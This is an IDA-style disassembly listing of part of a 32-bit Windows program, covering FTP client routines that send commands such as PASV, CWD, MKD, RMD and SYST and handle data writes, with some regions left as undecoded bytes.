		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		nop
		call	near ptr 77C41B72h
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 0C684D75h, 0E8004474h, 7780841Ah, 4C48390h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752C68h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473FC68h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0FC680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471FCh, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752468h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1C68217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44750068h, 0EEE85200h,	9077810Dh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473F468h
		dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 73F4682Ch, 27E80044h, 90778082h, 5704C483h
		dd 9627E8h, 0E8905600h,	777FD63Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 0E8000001h,	777F0508h, 50008B90h, 843CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44758CBEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0B4685752h,	90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
; ---------------------------------------------------------------------------
		jg	short loc_42F3D9
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		call	near ptr 77C3F931h


loc_42F3D9:				; CODE XREF: ___:0042F360j
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447678
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B8
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
